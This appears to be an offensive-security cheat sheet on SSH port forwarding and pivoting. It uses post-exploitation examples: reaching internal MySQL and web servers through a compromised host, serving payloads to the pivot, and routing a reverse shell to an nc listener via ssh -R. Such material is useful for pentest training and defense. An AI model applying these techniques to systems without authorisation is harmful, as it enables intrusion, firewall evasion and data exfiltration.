SSH tunneling and pivoting: local, remote, and dynamic port forwarding and SSH agent forwarding and hijacking for post-exploitation.
| Variable | Description |
|---|---|
| LPORT | Port on your attacker machine. With -L: port that listens (you connect here). With -R: port where your listener/service runs (tunnel forwards here). |
| SSH_HOST | IP/Hostname for the SSH server (the pivot) |
| USERNAME | SSH Username |
| SERVICE_HOST | IP/Hostname of the service you are trying to tunnel to (local port forwarding) |
| SERVICE_PORT | Port number for the service you are trying to tunnel to (local port forwarding) |
| RPORT | Port that will listen on the pivot (remote port forwarding) |
Prerequisites: You have SSH access (password or key) to a host $SSH_HOST. That host is your pivot: you run all ssh commands on your own machine (attacker box); the SSH client connects to $SSH_HOST, and traffic you send to a forwarded port (or through the proxy) is carried over the encrypted SSH channel and appears to come from $SSH_HOST.
What tunneling gives you: Reach internal services (databases, web apps, etc.) that only the pivot can see; expose your own listeners to the pivot for callbacks; or send arbitrary traffic through the pivot via a SOCKS proxy.
Running ssh -L on your machine so the SSH client opens a port on your box (e.g. localhost:8080). When you connect to that port, the client sends the traffic through the SSH session to the server on the pivot ($SSH_HOST). The SSH server on the pivot then connects to a destination host:port (on the pivot or elsewhere). So you reach a remote service by connecting to a local port: your machine → local port → tunnel → pivot → destination service.
Full Command:
ssh -L $LPORT:$SERVICE_HOST:$SERVICE_PORT $USERNAME@$SSH_HOST
localhost:$LPORT with your client (mysql, curl, browser, etc.).$SSH_HOST connects to the destination. You receive the response as if the service were local.Use
ssh -L 0.0.0.0:$LPORT:$SERVICE_HOST:$SERVICE_PORT $USERNAME@$SSH_HOSTto allow others to access the tunnel
Example: MySQL on the pivot:
MySQL runs on $SSH_HOST on port 3306 (or is only reachable from there). You want to use your local MySQL client to talk to it.
# On your machine (leave this session open or run in background)
ssh -L 3306:127.0.0.1:3306 $USERNAME@$SSH_HOST
In another terminal on your local machine:
mysql -h 127.0.0.1 -P 3306 -u root -p
What you get: A normal MySQL session. All queries go through the tunnel to the database on $SSH_HOST; the database sees the connection as coming from $SSH_HOST.
Example: Internal web server (pivot can reach it, you cannot):
A web server at 192.168.10.5:80 is only reachable from inside the target network. You use $SSH_HOST as a pivot to reach it.
# On your machine (leave this session open)
ssh -L 8080:192.168.10.5:80 $USERNAME@$SSH_HOST
The 8080 in the command is the local port: SSH is now listening on your machine at localhost:8080. So you connect to that:
curl http://localhost:8080
What you get: The HTTP response from 192.168.10.5:80 (the internal site’s HTML, API data, etc.). Your request goes: your machine → localhost:8080 → tunnel → $SSH_HOST → 192.168.10.5:80. The internal server only sees a connection from $SSH_HOST. This is a way to access (and effectively exfiltrate content from) an internal web server through the pivot.
Running ssh -R on your machine makes the SSH server on the pivot ($SSH_HOST) listen on a port. When something on the pivot connects to that port, the SSH server forwards the traffic back through the tunnel to your machine and connects it to a port you choose (e.g. your listener or web server). So the pivot can reach a service on your box even when your IP is not directly reachable: pivot → tunnel → your machine local port.
| Variable | Description |
|---|---|
| RPORT | Port that will listen on the pivot (e.g. 8888). Something on the pivot connects here. |
| LPORT | Port on your machine where your listener or service runs (e.g. 80 for web server, 4444 for nc). |
Full Command:
ssh -R $RPORT:127.0.0.1:$LPORT $USERNAME@$SSH_HOST
nc -lvnp $LPORT or a web server on port 80). Leave it running.ssh -R command on your machine and leave the session open.127.0.0.1:$RPORT; that connection is forwarded to your machine’s $LPORT.By default the pivot binds the remote port on loopback only. To let other hosts on the pivot’s network use it, the SSH server must have
GatewayPortsenabled.
Example: Expose your local web server to the pivot
You have a web server or tool listening on your machine on port 80. You want the pivot to be able to request it (e.g. to pull a payload or page) even though the pivot cannot reach your IP directly.
# On your machine: ensure something is listening on port 80, then (leave session open):
ssh -R 8888:127.0.0.1:80 $USERNAME@$SSH_HOST
On the pivot (e.g. in another SSH session to $SSH_HOST):
curl http://127.0.0.1:8888
What you get: The request hits your machine’s port 80. The pivot only sees localhost:8888; the response is served by your box. Useful for serving payloads or files when the pivot cannot reach your IP.
Example: Reverse shell or callback
You want a reverse shell (or any callback) to hit your listener, but the pivot cannot reach your IP:port. Expose your listener through the tunnel so the pivot connects only to its own localhost.
# Step 1: On your machine — start listener (e.g. in one terminal)
nc -lvnp 4444
# Step 2: On your machine — in another terminal, create the tunnel (leave open)
ssh -R 4444:127.0.0.1:4444 $USERNAME@$SSH_HOST
On the pivot, run your payload so it connects to 127.0.0.1:4444; that connection is forwarded to your nc.
What you get: The shell (or callback) appears on your listener. No inbound firewall rule on your side is needed; the callback is carried over the tunnel.